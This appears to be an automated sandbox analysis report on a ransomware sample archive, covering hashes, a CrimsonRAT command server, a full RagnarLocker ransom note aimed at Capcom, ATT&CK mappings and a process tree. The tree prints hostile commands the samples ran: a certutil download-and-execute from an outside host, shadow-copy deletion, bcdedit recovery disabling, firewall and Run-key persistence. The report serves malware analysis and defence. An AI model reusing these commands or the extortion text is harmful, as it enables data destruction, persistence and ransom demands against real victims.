Overview

overview

10

Static

static

1

RNSM00399.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    129s
  • max time network
    253s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-10-2024 20:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00399.7z

  • Size

    33.1MB

  • MD5

    846e189b61eff1e4b2107586b721d0a9

  • SHA1

    a17ad7404737bdf6b162ed7e2c035161da6bfb4f

  • SHA256

    458caa60b5fbf91bdaf60eea708fa2e5660772180b721a153e2bf6b3f6c5b88f

  • SHA512

    5cb49458c8918572e861cc602fd6adc1c49b0658dfbb8ed33773216f4ccc8b3139c8d800d7e97e9ebc77e1339ea4a4d6553d2d16e30367018b0936e67d64431e

  • SSDEEP

    786432:bxDypf4kaZp1bwM3bcywK7tgIpWzTjdspli3YyZEz1PIYU:YpIp5zwK7tgIpWzviz1g5

Score
10/10
crimsonratdharmaagilenetbootkitcredential_accessdefense_evasiondiscoveryevasionexecutionimpactpersistenceransomwareratspywarestealerupx

Malware Config

Extracted

Family

crimsonrat

C2

64.188.12.126

Extracted

Path

C:\Users\Public\Documents\!!!_READ_ME_C193238C_!!!.txt

Ransom Note
*************************************************************************************************************** HELLO CAPCOM ! If you reading this message, it means your network was PENETRATED and all of your files and data has been ENCRYPTED by R A G N A R L O C K E R ! *************************************************************************************************************** *YOU HAVE TO CONTACT US via LIVE CHAT IMMEDIATELY TO RESOLVE THIS CASE AND MAKE A DEAL* (contact information you will find at the bottom of this notes) !!!!! WARNING !!!!! DO NOT Modify, rename, copy or move any files or you can DAMAGE them and decryption will be impossible. DO NOT Use any third-party or public Decryption software, it also may DAMAGE files. DO NOT Shutdown or Reset your system, it can DAMAGE files ------------------------------------- There is ONLY ONE possible way to get back your files - contact us via LIVE CHAT and pay for the special DECRYPTION KEY ! For your GUARANTEE we will decrypt 2 of your files FOR FREE, to show that it Works. Don't waste your TIME, the link for contact us will be deleted if there is no contact made in closest time and you will NEVER restore your DATA. !!! HOWEVER if you will contact us within 2 day since get penetrated - you can get a very SPECIAL PRICE. ! WARNING ! ! Whole your International Corporate Network was fully COMPROMISED ! We have BREACHED your security perimeter and get access to every server of company's Network in different offices located in Japan, USA, Canada. So we has DOWNLOADED more than 1TB total volume of your PRIVATE SENSITIVE Data, including: -Accounting files, Banking Statements, Budget and Revenue files classified as Confidential, Tax Documents -Intellectual Property, Proprietary Business information, Clients and Employees Personal information (Such as Passports and Visa), Incidents Acts -Corporate Agreements and Contracts, Non-Disclosure Agreements, Confidential Agreements, Sales Summaries -Also we have your Private Corporate Correspondence, Emails and Messanger Conversations, Marketing presentations, Audit reports and a lot of other Sensitive Information If NO Deal made than all your Data will be Published and/or Sold through an auction to any third-parties - There are some screenshots just as a proofs of what we got on you. (you can find more on Temporary Leak Page) Screenshots: https://prnt.sc/vb3g0f https://prnt.sc/vb3hg9 https://prnt.sc/vb3hqd https://prnt.sc/vb3iuj https://prnt.sc/vb3j7c https://prnt.sc/vb3m3t https://prnt.sc/vb3pia ------------------------------------- Whole data that gathered from your private file-servers and directories could be SOLD to any third-parties and/or PUBLISHED in MASS MEDIA for BREAKING NEWS! Yours partners, clients and investors would be notified about the LEAK, the consequences of LEAK will have a DISASTROUS effect on your company's stock index and reputation. So better contact us ASAP to resolve this issue. If we make a Deal everything would be kept in Secret and all your Data will be Restored, so it is much cheaper and easier way for you to make deal with us, than to pay lawsuit expenses. You can take a look for some more examples of what we have, right now it's a private, temporary and hidden page. But it could be supplemented and become permanent and accessable for Public View if you decide NOT pay. Use Tor Browser to open the link: http://p6o7m73ujalhgkiv.onion/?068vV05uS2GCgqa To view the page's content use password: cVnImQthX5 ============================================================================================================== ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTACT WITH US VIA LIVE CHAT ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! a) Download and install TOR browser from this site : https://torproject.org b) For contact us via LIVE CHAT open our website : http://rgnar43spcnsocswaw22lmk7jnget5f6vow7kqmnf4jc6hfwpiwoajid.onion/client/?FB5dDAEC6F63aA6cd5D52B8822e2Eb0278aDCCEE8E7592f379ed00Ac14fD16cc c) To visit TEMPORARY LEAK PAGE with your data on our News Blog, open this website : http://p6o7m73ujalhgkiv.onion/?068vV05uS2GCgqa ( password: cVnImQthX5 ) d) If Tor is restricted in your area, use VPN When you open LIVE CHAT website follow rules : Follow the instructions on the website. At the top you will find CHAT tab. Send your message there and wait for response (we are not online 24/7, So you have to wait for your turn). *********************************************************************************** ---BEGIN RAGN KEY--- RkI1ZERBRUM2RjYzYUE2Y2Q1RDUyQjg4MjJlMkViMDI3OGFEQ0NFRThFNzU5MmYzNzllZDAwQWMxNGZEMTZjYw== ---END RAGN KEY--- ***********************************************************************************
URLs

https://prnt.sc/vb3g0f

https://prnt.sc/vb3hg9

https://prnt.sc/vb3hqd

https://prnt.sc/vb3iuj

https://prnt.sc/vb3j7c

https://prnt.sc/vb3m3t

https://prnt.sc/vb3pia

http://p6o7m73ujalhgkiv.onion/?068vV05uS2GCgqa

http://rgnar43spcnsocswaw22lmk7jnget5f6vow7kqmnf4jc6hfwpiwoajid.onion/client/?FB5dDAEC6F63aA6cd5D52B8822e2Eb0278aDCCEE8E7592f379ed00Ac14fD16cc

Signatures

  • CrimsonRAT main payload 1 IoCs
  • CrimsonRat

    Crimson RAT is a malware linked to a Pakistani-linked threat actor.

    ratcrimsonrat
  • Crimsonrat family
    crimsonrat
  • Dharma

    Dharma is a ransomware that uses security software installation to hide malicious activities.

    ransomwaredharma
  • Dharma family
    dharma
  • Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Renames multiple (523) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (890) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 6 IoCs
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 2 IoCs
  • Obfuscated with Agile.Net obfuscator 21 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    agilenet
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Drops desktop.ini file(s) 64 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 11 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 32 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00399.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2804
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /1
      2⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Drops startup file
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4908
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3528
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:224
      • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.MSIL.Blocker.gen-345665e1b2fc212d6edf888500a0266411baa07aeeb3516debb193c1b2bcebc9.exe
        HEUR-Trojan-Ransom.MSIL.Blocker.gen-345665e1b2fc212d6edf888500a0266411baa07aeeb3516debb193c1b2bcebc9.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:548
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v instoolclenarerance /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\mascuiitnlwetr.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:8264
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v instoolclenarerance /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\AppData\Roaming\mascuiitnlwetr.exe"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:5460
        • C:\Users\Admin\AppData\Roaming\mascuiitnlwetr.exe
          "C:\Users\Admin\AppData\Roaming\mascuiitnlwetr.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:8256
          • C:\Users\Admin\AppData\Local\Temp\ngentask.exe
            "C:\Users\Admin\AppData\Local\Temp\ngentask.exe"
            5⤵
              PID:9516
        • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.MSIL.Foreign.gen-47b99e50430e9abad7326d1837ecdda5f995112b0b12406d23df5ef603d52a4e.exe
          HEUR-Trojan-Ransom.MSIL.Foreign.gen-47b99e50430e9abad7326d1837ecdda5f995112b0b12406d23df5ef603d52a4e.exe
          3⤵
          • Executes dropped EXE
          PID:4352
        • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Convagent.gen-b946443f10bcf59888900439607b999593038dd2304bdac9dc95d23e6ce2553b.exe
          HEUR-Trojan-Ransom.Win32.Convagent.gen-b946443f10bcf59888900439607b999593038dd2304bdac9dc95d23e6ce2553b.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2732
          • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Convagent.gen-b946443f10bcf59888900439607b999593038dd2304bdac9dc95d23e6ce2553b.exe
            "C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Convagent.gen-b946443f10bcf59888900439607b999593038dd2304bdac9dc95d23e6ce2553b.exe"
            4⤵
            • Executes dropped EXE
            PID:208
            • C:\Windows\system32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
              5⤵
                PID:1212
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  6⤵
                  • Modifies Windows Firewall
                  PID:6172
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\c579c4aa4aec\c579c4aa4aec.exe" enable=yes"
                5⤵
                  PID:9576
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\c579c4aa4aec\c579c4aa4aec.exe" enable=yes
                    6⤵
                    • Modifies Windows Firewall
                    PID:3692
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe ""
                  5⤵
                    PID:6160
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                      6⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:9484
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                      6⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:10940
                    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                      6⤵
                        PID:10180
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\Sysnative\bcdedit.exe /v
                        6⤵
                        • Modifies boot configuration data using bcdedit
                        PID:6056
                • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Encoder.gen-c0c059645c55b31914ef0c11da08ed89ef24e82b1ab76109f485ff142520a769.exe
                  HEUR-Trojan-Ransom.Win32.Encoder.gen-c0c059645c55b31914ef0c11da08ed89ef24e82b1ab76109f485ff142520a769.exe
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2252
                • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Encoder.vho-faa509bd03791d701880378dc716135b021aad120efa5b27fd70426465328774.exe
                  HEUR-Trojan-Ransom.Win32.Encoder.vho-faa509bd03791d701880378dc716135b021aad120efa5b27fd70426465328774.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:3556
                  • C:\Users\Admin\Desktop\00399\payload.etl
                    "payload.etl"
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4856
                    • C:\Users\Admin\AppData\Local\Temp\Decode.exe
                      "C:\Users\Admin\AppData\Local\Temp\Decode.exe"
                      5⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      PID:4796
                    • C:\Users\Admin\AppData\Local\Temp\LTE.exe
                      "C:\Users\Admin\AppData\Local\Temp\LTE.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:4648
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "payload.etl"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "payload.etl"
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:2284
                      • C:\Windows\system32\PING.EXE
                        ping 1.1.1.1 -n 1 -w 100
                        6⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:1164
                      • C:\Windows\system32\PING.EXE
                        ping 1.1.1.1 -n 1 -w 900
                        6⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:4300
                • C:\Users\Admin\Desktop\00399\HEUR-Trojan-Ransom.Win32.Foreign.vho-03fea23a6f4c2254570c1e4eba41479212c0624942887ab73851769988167b73.exe
                  HEUR-Trojan-Ransom.Win32.Foreign.vho-03fea23a6f4c2254570c1e4eba41479212c0624942887ab73851769988167b73.exe
                  3⤵
                  • Executes dropped EXE
                  PID:1548
                  • C:\Windows\explorer.exe
                    explorer https://en.wikipedia.org/wiki/Allah
                    4⤵
                      PID:9064
                  • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.Crusis.bdw-68c10d8335d8515cc952b60337da2d61f4d20f6e4309764d2a08c728657fca27.exe
                    Trojan-Ransom.Win32.Crusis.bdw-68c10d8335d8515cc952b60337da2d61f4d20f6e4309764d2a08c728657fca27.exe
                    3⤵
                    • Checks computer location settings
                    • Drops startup file
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Drops file in Program Files directory
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: RenamesItself
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4364
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe"
                      4⤵
                        PID:5004
                        • C:\Windows\system32\mode.com
                          mode con cp select=1251
                          5⤵
                            PID:6336
                          • C:\Windows\system32\vssadmin.exe
                            vssadmin delete shadows /all /quiet
                            5⤵
                            • Interacts with shadow copies
                            PID:7780
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe"
                          4⤵
                            PID:10384
                            • C:\Windows\system32\mode.com
                              mode con cp select=1251
                              5⤵
                                PID:10288
                              • C:\Windows\system32\vssadmin.exe
                                vssadmin delete shadows /all /quiet
                                5⤵
                                • Interacts with shadow copies
                                PID:10880
                            • C:\Windows\System32\mshta.exe
                              "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
                              4⤵
                                PID:9572
                              • C:\Windows\System32\mshta.exe
                                "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
                                4⤵
                                  PID:10168
                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.Encoder.kpb-fd6504460b645386650f36ffd7f8dd8b36285060b09c66f591e1aad0a33fda07.exe
                                Trojan-Ransom.Win32.Encoder.kpb-fd6504460b645386650f36ffd7f8dd8b36285060b09c66f591e1aad0a33fda07.exe
                                3⤵
                                • Checks computer location settings
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:1360
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00399\10000000 gratis Vbucks.bat" "
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of WriteProcessMemory
                                  PID:4540
                                  • C:\Windows\SysWOW64\rundll32.exe
                                    Rundll32 user32, SwapMouseButton
                                    5⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4516
                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.Foreign.ollk-9775428322493f047e74e099fa564e9a3f6778f34bb8f73196f967fab24dfc97.exe
                                Trojan-Ransom.Win32.Foreign.ollk-9775428322493f047e74e099fa564e9a3f6778f34bb8f73196f967fab24dfc97.exe
                                3⤵
                                • Executes dropped EXE
                                PID:4696
                              • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.PornoAsset.dkzm-02e63003b7abe4515412148fce0b9a44cf1c66caf638b39af305f9c4fafd8521.exe
                                Trojan-Ransom.Win32.PornoAsset.dkzm-02e63003b7abe4515412148fce0b9a44cf1c66caf638b39af305f9c4fafd8521.exe
                                3⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:2748
                                • C:\Windows\SYSTEM32\cmd.exe
                                  cmd.exe /c set
                                  4⤵
                                    PID:3136
                                  • C:\Users\Admin\AppData\Local\Temp\~9000274919311723648~\sg.tmp
                                    7zG_exe x "C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.PornoAsset.dkzm-02e63003b7abe4515412148fce0b9a44cf1c66caf638b39af305f9c4fafd8521.exe" -y -aoa -o"C:\Users\Admin\AppData\Local\Temp\~8469085066512408022"
                                    4⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:892
                                  • C:\Users\Admin\AppData\Local\Temp\~8469085066512408022\xpsview.exe
                                    "C:\Users\Admin\AppData\Local\Temp\~8469085066512408022\xpsview.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Modifies registry class
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4020
                                  • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.PornoAsset.dkzm-02e63003b7abe4515412148fce0b9a44cf1c66caf638b39af305f9c4fafd8521.exe
                                    PECMD**pecmd-cmd* EXEC -wd:C: -IDLE --hide cmd /c "C:\Users\Admin\AppData\Local\Temp\~5016101092187991422.cmd"
                                    4⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:6304
                                    • C:\Windows\SYSTEM32\cmd.exe
                                      cmd /c "C:\Users\Admin\AppData\Local\Temp\~5016101092187991422.cmd"
                                      5⤵
                                        PID:5980
                                  • C:\Users\Admin\Desktop\00399\Trojan-Ransom.Win32.RagnarLocker.f-9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151.exe
                                    Trojan-Ransom.Win32.RagnarLocker.f-9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151.exe
                                    3⤵
                                    • Executes dropped EXE
                                    • Drops desktop.ini file(s)
                                    • Enumerates connected drives
                                    • Writes to the Master Boot Record (MBR)
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    • Drops file in Program Files directory
                                    • System Location Discovery: System Language Discovery
                                    • Checks SCSI registry key(s)
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4052
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      wmic.exe shadowcopy delete
                                      4⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5636
                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                      bcdedit /set {default} recoveryenabled No
                                      4⤵
                                      • Modifies boot configuration data using bcdedit
                                      PID:10832
                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                      4⤵
                                      • Modifies boot configuration data using bcdedit
                                      PID:7452
                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                      bcdedit /set {globalsettings} advancedoptions false
                                      4⤵
                                      • Modifies boot configuration data using bcdedit
                                      PID:8200
                                  • C:\Users\Admin\Desktop\00399\UDS-Trojan-Ransom.Win32.Encoder-5961f5aec36f7d47519f20162c05851b29cac3efc065ce63284a0f028b760dda.exe
                                    UDS-Trojan-Ransom.Win32.Encoder-5961f5aec36f7d47519f20162c05851b29cac3efc065ce63284a0f028b760dda.exe
                                    3⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:1600
                                    • C:\Users\Admin\AppData\Local\Temp\6975A2.exe
                                      C:\Users\Admin\AppData\Local\Temp\6975A2.exe
                                      4⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:2280
                              • C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe
                                C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe
                                1⤵
                                  PID:1284
                                • C:\Windows\system32\werfault.exe
                                  werfault.exe /h /shared Global\d53b1b25795d485e9a612447fcd8c99b /t 2628 /p 4796
                                  1⤵
                                    PID:7292
                                  • C:\Windows\system32\vssvc.exe
                                    C:\Windows\system32\vssvc.exe
                                    1⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:8916
                                  • C:\Windows\system32\OpenWith.exe
                                    C:\Windows\system32\OpenWith.exe -Embedding
                                    1⤵
                                    • Modifies registry class
                                    • Suspicious use of SetWindowsHookEx
                                    PID:6552
                                  • C:\Windows\system32\vssvc.exe
                                    C:\Windows\system32\vssvc.exe
                                    1⤵
                                      PID:5852
                                    • C:\Windows\system32\werfault.exe
                                      werfault.exe /h /shared Global\2ab7a076cc214ee5a1a21424d7994019 /t 8604 /p 10168
                                      1⤵
                                        PID:6636
                                      • C:\Windows\system32\werfault.exe
                                        werfault.exe /h /shared Global\bff0f6afb08842308ea61d2a32324ebf /t 11096 /p 9572
                                        1⤵
                                          PID:5032
                                        • C:\Windows\system32\NOTEPAD.EXE
                                          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\FBI.txt
                                          1⤵
                                          • Opens file in notepad (likely ransom note)
                                          PID:7740
                                        • C:\Windows\System32\rundll32.exe
                                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                          1⤵
                                            PID:10716
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                            1⤵
                                              PID:7236
                                            • C:\Windows\system32\AUDIODG.EXE
                                              C:\Windows\system32\AUDIODG.EXE 0x2f4 0x40c
                                              1⤵
                                                PID:6684

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Reconnaissance

                                              Resource Development

                                              Initial Access

                                              Execution

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Windows Management Instrumentation

                                              1
                                              T1047

                                              Persistence

                                              Boot or Logon Autostart Execution

                                              1
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              1
                                              T1547.001

                                              Create or Modify System Process

                                              1
                                              T1543

                                              Windows Service

                                              1
                                              T1543.003

                                              Pre-OS Boot

                                              1
                                              T1542

                                              Bootkit

                                              1
                                              T1542.003

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Privilege Escalation

                                              Boot or Logon Autostart Execution

                                              1
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              1
                                              T1547.001

                                              Create or Modify System Process

                                              1
                                              T1543

                                              Windows Service

                                              1
                                              T1543.003

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Defense Evasion

                                              Direct Volume Access

                                              1
                                              T1006

                                              Impair Defenses

                                              1
                                              T1562

                                              Disable or Modify System Firewall

                                              1
                                              T1562.004

                                              Indicator Removal

                                              2
                                              T1070

                                              File Deletion

                                              2
                                              T1070.004

                                              Modify Registry

                                              1
                                              T1112

                                              Pre-OS Boot

                                              1
                                              T1542

                                              Bootkit

                                              1
                                              T1542.003

                                              Credential Access

                                              Credentials from Password Stores

                                              2
                                              T1555

                                              Credentials from Web Browsers

                                              1
                                              T1555.003

                                              Windows Credential Manager

                                              1
                                              T1555.004

                                              Unsecured Credentials

                                              1
                                              T1552

                                              Credentials In Files

                                              1
                                              T1552.001

                                              Discovery

                                              Browser Information Discovery

                                              1
                                              T1217

                                              Peripheral Device Discovery

                                              2
                                              T1120

                                              Query Registry

                                              3
                                              T1012

                                              Remote System Discovery

                                              1
                                              T1018

                                              System Information Discovery

                                              4
                                              T1082

                                              System Location Discovery

                                              1
                                              T1614

                                              System Language Discovery

                                              1
                                              T1614.001

                                              System Network Configuration Discovery

                                              1
                                              T1016

                                              Internet Connection Discovery

                                              1
                                              T1016.001

                                              Lateral Movement

                                              Collection

                                              Data from Local System

                                              1
                                              T1005

                                              Command and Control

                                              Exfiltration

                                              Impact

                                              Inhibit System Recovery

                                              3
                                              T1490

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\Program Files (x86)\Common Files\Microsoft Shared\ink\de-DE\InkObj.dll.mui
                                                Filesize

                                                6KB

                                                MD5

